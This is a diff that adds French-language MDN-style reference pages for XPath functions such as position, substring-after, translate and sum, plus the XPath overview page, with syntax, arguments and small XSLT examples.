@@ -0,0 +1,57 @@
+---
+title: position
+slug: Web/XPath/Fonctions/position
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/position
+---
+<p>{{ XsltRef() }}</p>
+
+<p><br>
+ La fonction <code>position</code> retourne un nombre égal à la position du contexte dans le contexte d'évaluation d'expression.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">position()
+</pre>
+
+<h3 id="Retour" name="Retour">Retour</h3>
+
+<p>Un nombre entier égal à la position du contenu dans le contexte d'évaluation d'expression.</p>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<ul>
+ <li>Notez que la numérotation de la position d'un n&amp;oelig:ud dans un contexte commence à 1. Le premier nœud a donc la position 1.</li>
+</ul>
+
+<ul>
+ <li>Le contexte est déterminé par le reste du chemin :</li>
+</ul>
+
+<pre class="eval">&lt;xsl:template match="//a[position() = 5]"&gt;
+ &lt;!-- cet exemple 'attrape' le cinquième élément "a"
+         n'importe où dans le document. --&gt;
+&lt;/xsl:template&gt;
+</pre>
+
+<pre class="eval">&lt;xsl:template match="//div[@class='foo']/bar[position() = 1]"&gt;
+ &lt;!-- cet exemple 'attrape' le premier
+         élément "bar" enfant d'un élément "div"
+         avec un attribut "class" valant "foo" --&gt;
+&lt;/xsl:template&gt;
+</pre>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-position">XPath 1.0, section 4.1</a>.</p>
+
+<h3 id="Support_Gecko" name="Support_Gecko">Support Gecko</h3>
+
+<p>Supportée.</p>
+
+<p><span class="comment">Interwiki Languages Links</span></p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/XPath/Functions/position", "ja": "ja/XPath/Functions/position", "pl": "pl/XPath/Funkcje/position" } ) }}</p>
diff --git a/files/fr/web/xpath/fonctions/round/index.html b/files/fr/web/xpath/fonctions/round/index.html
new file mode 100644
index 0000000000..3383b0f74c
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/round/index.html
@@ -0,0 +1,35 @@
+---
+title: round
+slug: Web/XPath/Fonctions/round
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/round
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>round</code> retourne le nombre entier le plus proche d'un nombre donné.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">round( <i>décimal</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>décimal</i></code>
+</dt><dd>Le nombre décimal à arrondir.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Le plus proche nombre entier, qu'il soit plus grand, plus petit ou égal à <code><i>decimal</i></code>.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> -0.5 est arrondi à zéro négatif. 0.4 est arrondi à zéro positif.
+</li></ul>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-round" class="external">XPath 1.0, section 4.4</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/round", "ja": "ja/XPath/Functions/round", "pl": "pl/XPath/Funkcje/round" } ) }}
diff --git a/files/fr/web/xpath/fonctions/starts-with/index.html b/files/fr/web/xpath/fonctions/starts-with/index.html
new file mode 100644
index 0000000000..94c8e8d734
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/starts-with/index.html
@@ -0,0 +1,24 @@
+---
+title: starts-with
+slug: Web/XPath/Fonctions/starts-with
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/starts-with
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+La fonction <code>starts-with</code> vérifie si la première chaîne débute par la seconde, et retourne <code>true</code> ou <code>false</code>.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">starts-with( <em>meule</em> , <em>aiguille</em>)
+</pre>
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+<dl><dt><code><em>meule</em></code> </dt><dd>La chaîne dans laquelle chercher. </dd></dl> <dl><dt><code><em>aiguille</em></code> </dt><dd>La chaîne à rechercher. </dd></dl>
+<h3 id="Retour" name="Retour">Retour</h3>
+<p><code>true</code> si <span style="font-family: monospace;"><span style="font-style: italic;">meule</span></span> débute par <code><em>aiguille</em></code>. Autrement, <code>false</code>.</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+<p><a href="http://www.w3.org/TR/xpath#function-starts-with" class="external">XPath 1.0, section 4.2</a>.</p>
+<h3 id="Support_Gecko" name="Support_Gecko">Support Gecko</h3>
+<p>Supportée.</p>
+<p><span class="comment">Interwiki Languages Links</span></p>
+
+<p>{{ languages( { "en": "en/XPath/Functions/starts-with", "ja": "ja/XPath/Functions/starts-with", "pl": "pl/XPath/Funkcje/starts-with" } ) }}</p>
diff --git a/files/fr/web/xpath/fonctions/string-length/index.html b/files/fr/web/xpath/fonctions/string-length/index.html
new file mode 100644
index 0000000000..3e983b4575
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/string-length/index.html
@@ -0,0 +1,32 @@
+---
+title: string-length
+slug: Web/XPath/Fonctions/string-length
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/string-length
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>string-length</code> retourne le nombre de caractères dans une chaîne donnée.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">string-length( [<i>chaîne</i>] )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>chaîne</i></code> (optionnel)
+</dt><dd>La chaîne à évaluer. S'il est omis, la chaîne utilisée sera le noeud de contexte converti en chaîne.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Un entier égal au nombre de caractères dans la chaîne.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-string-length" class="external">XPath 1.0, section 4.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/string-length", "ja": "ja/XPath/Functions/string-length", "pl": "pl/XPath/Funkcje/string-length" } ) }}
diff --git a/files/fr/web/xpath/fonctions/string/index.html b/files/fr/web/xpath/fonctions/string/index.html
new file mode 100644
index 0000000000..00f0a8e17b
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/string/index.html
@@ -0,0 +1,43 @@
+---
+title: string
+slug: Web/XPath/Fonctions/string
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/string
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>string</code> convertit l'argument passé en une chaîne.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">string( [<i>objet</i>] )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>objet</i></code> (optionnel)
+</dt><dd>L'objet à convertir en une chaîne. Si il est omis, le nœud du contexte est utilisé.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Une chaîne.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> Si l'objet est un ensemble de nœuds, la valeur de la chaîne du premier nœud de l'ensemble est retournée.
+</li><li> Un nombre est converti comme suit :
+<ul><li> NaN est converti en la chaîne <code>NaN</code>.
+</li><li> Zéro positif est converti en <code>0</code>.
+</li><li> Zéro négatif est converti en <code>0</code>.
+</li><li> Infini positif est converti en la chaîne <code>Infinity</code>.
+</li><li> Infini négatif est converti en la chaîne <code>-Infinity</code>.
+</li><li> Les nombres décimaux entre -1 et 1 sont convertis en chaîne comportant un unique 0 avant le séparateur décimale.
+</li></ul>
+</li></ul>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-string" class="external">XPath 1.0, section 4.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/string", "ja": "ja/XPath/Functions/string", "pl": "pl/XPath/Funkcje/string" } ) }}
diff --git a/files/fr/web/xpath/fonctions/substring-after/index.html b/files/fr/web/xpath/fonctions/substring-after/index.html
new file mode 100644
index 0000000000..ba4e4eb8bc
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/substring-after/index.html
@@ -0,0 +1,38 @@
+---
+title: substring-after
+slug: Web/XPath/Fonctions/substring-after
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/substring-after
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>substring-after()</code> retourne la partie d'une chaîne donnée suivant une sous-chaîne donnée.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">substring-after( <i>bottedefoin</i> , <i>aiguille</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>bottedefoin</i></code>
+</dt><dd>La chaîne à évaluer. Un extrait de cette chaîne sera retourné.
+</dd></dl>
+<dl><dt><code><i>aiguille</i></code>
+</dt><dd>La sous-chaîne à rechercher. Tout le contenu se trouvant après la première occurrence de <code><i>aiguille</i></code> dans la chaîne <code><i>bottedefoin</i></code> sera retourné.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Une chaîne.
+</p>
+<h3 id="Exemples" name="Exemples"> Exemples </h3>
+<table class="standard-table"> <tbody><tr> <th>Exemple XPath</th> <th>Sortie</th> </tr> <tr> <td><code>&lt;xsl:value-of select="substring-after('1999/04/01','/')" /&gt;</code></td> <td><code>04/01</code></td> </tr> <tr> <td><code>substring-after('aa-bb','-')</code></td> <td><code>bb</code></td> </tr> <tr> <td><code>substring-after('aa-bb','a')</code></td> <td><code>a-bb</code></td> </tr> <tr> <td><code>substring-after('aa-bb','b')</code></td> <td><code>b</code></td> </tr> <tr> <td><code>substring-after('aa-bb','q')</code></td> <td>(empty string)</td> </tr>
+</tbody></table>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-substring-after" class="external">XPath 1.0, section 4.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/substring-after", "ja": "ja/XPath/Functions/substring-after", "pl": "pl/XPath/Funkcje/substring-after" } ) }}
diff --git a/files/fr/web/xpath/fonctions/substring-before/index.html b/files/fr/web/xpath/fonctions/substring-before/index.html
new file mode 100644
index 0000000000..5542b2c0cb
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/substring-before/index.html
@@ -0,0 +1,38 @@
+---
+title: substring-before
+slug: Web/XPath/Fonctions/substring-before
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/substring-before
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>substring-before()</code> retourne retourne la partie d'une chaîne donnée précédant une sous-chaîne donnée.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">substring-before( <i>bottedefoin</i> , <i>aiguille</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>bottedefoin</i></code>
+</dt><dd>La chaîne à évaluer. Un extrait de cette chaîne sera retourné.
+</dd></dl>
+<dl><dt><code><i>aiguille</i></code>
+</dt><dd>La sous-chaîne à rechercher. Tout le contenu se trouvant avant la première occurrence de <code><i>aiguille</i></code> dans la chaîne <code><i>bottedefoin</i></code> sera retourné.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Une chaîne.
+</p>
+<h3 id="Exemples" name="Exemples"> Exemples </h3>
+<table class="standard-table"> <tbody><tr> <th>XPath Example</th> <th>Output</th> </tr> <tr> <td><code>&lt;xsl:value-of select="substring-before('1999/04/01','/')" /&gt;</code></td> <td><code>1999</code></td> </tr> <tr> <td><code>substring-before('aa-bb','-')</code></td> <td><code>aa</code></td> </tr> <tr> <td><code>substring-before('aa-bb','a')</code></td> <td><code>(empty string)</code></td> </tr> <tr> <td><code>substring-before('aa-bb','b')</code></td> <td><code>aa-</code></td> </tr> <tr> <td><code>substring-before('aa-bb','q')</code></td> <td>(empty string)</td> </tr>
+</tbody></table>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-substring-before" class="external">XPath 1.0, section 4.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/substring-before", "ja": "ja/XPath/Functions/substring-before", "pl": "pl/XPath/Funkcje/substring-before" } ) }}
diff --git a/files/fr/web/xpath/fonctions/substring/index.html b/files/fr/web/xpath/fonctions/substring/index.html
new file mode 100644
index 0000000000..0ac5572b19
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/substring/index.html
@@ -0,0 +1,40 @@
+---
+title: substring
+slug: Web/XPath/Fonctions/substring
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/substring
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>substring</code> retourne une partie d'une chaîne donnée.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">substring( <i>chaîne</i> , <i>début</i> [, <i>longueur</i>] )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>chaîne</i></code> </dt><dd>La chaîne à évaluer.
+</dd></dl>
+<dl><dt><code><i>début</i></code>
+</dt><dd>La position dans la <code><i>chaîne</i></code> où commence la sous-chaîne.
+</dd></dl>
+<dl><dt><code><i>longueur</i></code> (optionnel)
+</dt><dd>La longueur de la sous-chaîne à extraire. S'il est omis, la chaîne retournée contiendra tous les caractères depuis la position <code><i>début</i></code> jusqu'à la fin de la <code><i>chaîne</i></code>.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Une chaîne.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<p>Comme pour les autres fonctions XPath, les positions ne sont pas comptées à partir de zéro. Le premier caractère de la chaîne est à la position 1.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-substring" class="external">XPath 1.0, section 4.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/substring", "es": "es/XPath/Funciones/substring", "ja": "ja/XPath/Functions/substring", "pl": "pl/XPath/Funkcje/substring" } ) }}
diff --git a/files/fr/web/xpath/fonctions/sum/index.html b/files/fr/web/xpath/fonctions/sum/index.html
new file mode 100644
index 0000000000..9b185c65d7
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/sum/index.html
@@ -0,0 +1,35 @@
+---
+title: sum
+slug: Web/XPath/Fonctions/sum
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/sum
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>sum</code> retourne un nombre qui est la somme des valeurs numériques de chaque nœud d'un ensemble de nœuds donné.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">sum( <i>ensemble-de-nœuds</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>ensemble-de-nœuds</i></code>
+</dt><dd>L'ensemble de nœuds à évaluer. Chaque nœud de l'ensemble est évalué comme s'il était passé à la fonction <a href="fr/XPath/Fonctions/number"><code>number()</code></a>, et la somme des nombres résultants est retournée.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Un nombre.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<p><i>(Aucune)</i>
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-sum" class="external">XPath 1.0, section 4.3</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/sum", "ja": "ja/XPath/Functions/sum", "pl": "pl/XPath/Funkcje/sum" } ) }}
diff --git a/files/fr/web/xpath/fonctions/system-property/index.html b/files/fr/web/xpath/fonctions/system-property/index.html
new file mode 100644
index 0000000000..3ac02cbcc4
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/system-property/index.html
@@ -0,0 +1,34 @@
+---
+title: system-property
+slug: Web/XPath/Fonctions/system-property
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/system-property
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>system-property()</code> retourne un objet représentant la propriété système donnée.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">system-property( <i>nom</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><i><code>nom</code></i> (optionnel)
+</dt><dd>Le nom de la propriété système. L'argument s'évaluer en une chaîne qui est un QName. Le QName est développé en un nom à l'aide des déclarations d'espaces de nommage s'appliquant à l'expression. La fonction <code>system-property()</code> retourne un objet représentant la valeur de la propriété système identifiée par le nom. Si cette propriété système n'existe pas, une chaîne vide est retournée.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Un objet représentant le propriété système donnée.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> xsl:version, un nombre correspondant à la version de XSLT implémentée par le processeur ; pour les processeurs XSLT implémentant la version de XSLT définit dans ce document, ce nombre est 1.0.
+</li><li> xsl:vendor, une chaîne identifiant le vendeur du processeur XSLT.
+</li><li> xsl:vendor-url, une chaîne contenant une URL qui identifie le vendeur du processeur XSLT ; généralement, il s'agit de l'adresse de la page Web du vendeur.
+</li></ul>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-system-property" class="external">XSLT 1.0, section 12.4</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Functions/system-property", "pl": "pl/XPath/Funkcje/system-property" } ) }}
diff --git a/files/fr/web/xpath/fonctions/translate/index.html b/files/fr/web/xpath/fonctions/translate/index.html
new file mode 100644
index 0000000000..5b6e480f22
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/translate/index.html
@@ -0,0 +1,58 @@
+---
+title: translate
+slug: Web/XPath/Fonctions/translate
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/translate
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>translate</code> évalue une chaîne et un ensemble de caractères à traduire, et retourne la chaîne traduite.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">translate( <i>chaîne</i> , <i>abc</i> , <i>XYZ</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>chaîne</i></code>
+</dt><dd>La chaîne à évaluer.
+</dd></dl>
+<dl><dt><code><i>abc</i></code>
+</dt><dd>La chaîne de caractères à remplacer.
+</dd></dl>
+<dl><dt><code><i>XYZ</i></code> </dt><dd>La chaîne de caractères utilisée pour le remplacement. Le premier caractère de <code><i>XYZ</i></code> remplacera chaque occurrence du premier caractère de <code><i>abc</i></code> qui apparaît dans <code><i>chaîne</i></code>.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>La chaîne traduite.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<p>XPath note que la fonction <code>translate</code> n'est pas une solution suffisante pour la conversion majuscule/minuscule dans tous les langages. Une future version de XPath pourrait fournir des fonctions supplémentaires pour la conversion. </p><p>Cependant, <code>translate</code> est à l'heure actuelle la fonction la plus proche d'une fonction pouvant convertir une chaîne en bas de casse ou haut de casse.
+</p>
+<h4 id="Exemple" name="Exemple"> Exemple </h4>
+<pre class="eval">&lt;xsl:value-of select="translate('Le rapide renard.', 'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'") /&gt;
+</pre>
+<h4 id="Sortie" name="Sortie"> Sortie </h4>
+<pre class="eval">LE RAPIDE RENARD.
+</pre>
+<p><br>
+</p>
+<ul><li> Si <code><i>abc</i></code> est plus long que <code><i>XYZ</i></code>, alors chaque occurrence d'un caractère de <code><i>abc</i></code> qui n'a pas de correspondance dans <code><i>XYZ</i></code> sera supprimée.
+</li></ul>
+<h4 id="Exemple_2" name="Exemple_2"> Exemple </h4>
+<pre class="eval">&lt;xsl:value-of select="translate('Le renard rapide.', 'renard', 'panda')" /&gt;
+</pre>
+<h4 id="Sortie_2" name="Sortie_2"> Sortie </h4>
+<pre class="eval">La pandp pdpia.
+</pre>
+<ul><li> Si <code><i>XYZ</i></code> contient plus de caractères que <code><i>abc</i></code>, les caractères supplémentaires sont ignorés.
+</li></ul>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-translate" class="external">XPath 1.0, section 4.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/translate", "ja": "ja/XPath/Functions/translate", "pl": "pl/XPath/Funkcje/translate" } ) }}
diff --git a/files/fr/web/xpath/fonctions/true/index.html b/files/fr/web/xpath/fonctions/true/index.html
new file mode 100644
index 0000000000..29851cc94c
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/true/index.html
@@ -0,0 +1,28 @@
+---
+title: 'true'
+slug: Web/XPath/Fonctions/true
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/true
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>true</code> retourne la valeur booléenne <code>true</code>.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">true()
+</pre>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Le booléen <code>true</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-true" class="external">XPath 1.0, section 4.3</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/true", "es": "es/XPath/Funciones/true", "ja": "ja/XPath/Functions/true", "pl": "pl/XPath/Funkcje/true" } ) }}
diff --git a/files/fr/web/xpath/fonctions/unparsed-entity-url/index.html b/files/fr/web/xpath/fonctions/unparsed-entity-url/index.html
new file mode 100644
index 0000000000..4aeb74b35f
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/unparsed-entity-url/index.html
@@ -0,0 +1,29 @@
+---
+title: unparsed-entity-url
+slug: Web/XPath/Fonctions/unparsed-entity-url
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/unparsed-entity-url
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>unparsed-entity-url()</code> retourne l'URI d'une entité non analysée avec le nom donné. C'est une donnée non-XML référencée dans le DTD du document source.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">string unparsed-entity-url(<i>chaîne</i>)
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>chaîne</i></code>
+</dt><dd>Le nom de l'entité non analysée. Si l'argument n'est pas une chaîne, il est converti suivant les règles de la fonction <a href="fr/XPath/Fonctions/string"><code>string()</code></a>. Le nom doit être un nom XML.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>L'URI de l'entité non analysée récupérée dans la DTD, si elle existe. Autrement, une chaîne vide.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-unparsed-entity-uri" class="external">XSLT 1.0, section 12.4</a>.0
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Non supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Functions/unparsed-entity-url", "pl": "pl/XPath/Funkcje/unparsed-entity-url" } ) }}
diff --git a/files/fr/web/xpath/index.html b/files/fr/web/xpath/index.html
new file mode 100644
index 0000000000..1d6260a28e
--- /dev/null
+++ b/files/fr/web/xpath/index.html
@@ -0,0 +1,72 @@
+---
+title: XPath
+slug: Web/XPath
+tags:
+  - DOM
+  - JXON
+  - XML
+  - XPath
+  - XSLT
+translation_of: Web/XPath
+---
+<p><strong>XPath</strong> signifie XML Path Language ; il utilise une syntaxe non-XML permettant de manière souple d'adresser (en pointant vers) différentes parties d'un document <a href="/fr/XML" title="fr/XML">XML</a>. Il sert également à tester la correspondance de nœuds dans un document avec un schéma donné.</p>
+
+<p>XPath est principalement utilisé dans <a href="/fr/XSLT" title="fr/XSLT">XSLT</a>, mais il peut être utilisé pour parcourir de façon plus puissante le <a href="/fr/DOM" title="fr/DOM">DOM</a> de n'importe quels documents basés sur le XML tels que le HTML et le <a href="/fr/XUL" title="fr/XUL">XUL</a>, plutôt que de s'appuyer sur la méthode {{ Domxref("document.getElementById") }}, la propriété {{ Domxref("element.childNodes") }}, etc.</p>
+
+<p>XPath utilise une notation à cheminement (comme dans les URLs) pour parcourir la structure hiérarchique d'un document XML. Il s'agit d'une syntaxe non XML, donc elle peut être employée dans des URI et des valeurs d'attribut XML.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation"><a href="/Special:Tags?tag=XPath&amp;language=fr" title="Special:Tags?tag=XPath&amp;language=fr">Documentation</a></h2>
+
+    <dl>
+     <dt><a href="/fr/Introduction_à_l'utilisation_de_XPath_avec_JavaScript" title="fr/Introduction_à_l'utilisation_de_XPath_avec_JavaScript">Introduction à l'utilisation de XPath avec JavaScript</a></dt>
+     <dd><small>Description d'une usage non-XSLT de XPath.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/fr/XPath/Axes" title="fr/XPath/Axes">XPath:Axes</a></dt>
+     <dd><small>Liste et définition des sélecteurs de nœuds (axes) définies dans les spécifications de XPath. Axes servent à décrire les relations entre des nœuds.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/fr/XPath/Fonctions" title="fr/XPath/Fonctions">XPath:Fonctions</a></dt>
+     <dd><small>Liste et description des fonctions principales XPath et celles spécifiques à XSLT ajoutées à XPath.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/fr/Transformations_XML_avec_XSLT" title="fr/Transformations_XML_avec_XSLT">Transformations XML avec XSLT</a></dt>
+     <dd><small>XSLT utilise XPath pour obtenir des segments de code dans un document XML qu'il veut transformer.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/fr/Utilisation_de_XPath" title="fr/Utilisation_de_XPath">Utilisation de XPath</a></dt>
+     <dd><small>Extraits de code et exemples d'utilisation de XPath.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="">Tutoriel XSLT &amp; XPath</a> (en)</dt>
+     <dd><small>Le tutoriel TopXML XSLT introduit les bases des concepts XSLT &amp; XPath, de la syntaxe et de la programmation.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.xml.com/pub/a/2000/08/holman/">Qu'est ce que XSLT ?</a> (en)</dt>
+     <dd><small>Cette introduction exhaustive à XSLT et XPath ne nécessite aucun prérequis des technologies, et guide le lecteur à travers la terminologie, les concepts, la structure et le contexte.</small></dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/Special:Tags?tag=XPath&amp;language=fr" title="Special:Tags?tag=XPath&amp;language=fr">Tous les articles...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Related_Topics" id="Sujets_li.C3.A9s" name="Sujets_li.C3.A9s">Sujets liés</h2>
+
+    <dl>
+     <dd><a href="/fr/XSLT" title="fr/XSLT">XSLT</a>, <a href="/fr/XQuery" title="fr/XQuery">XQuery</a>, <a href="/fr/XML" title="fr/XML">XML</a>, <a href="/fr/DOM" title="fr/DOM">DOM</a></dd>
+    </dl>
+
+
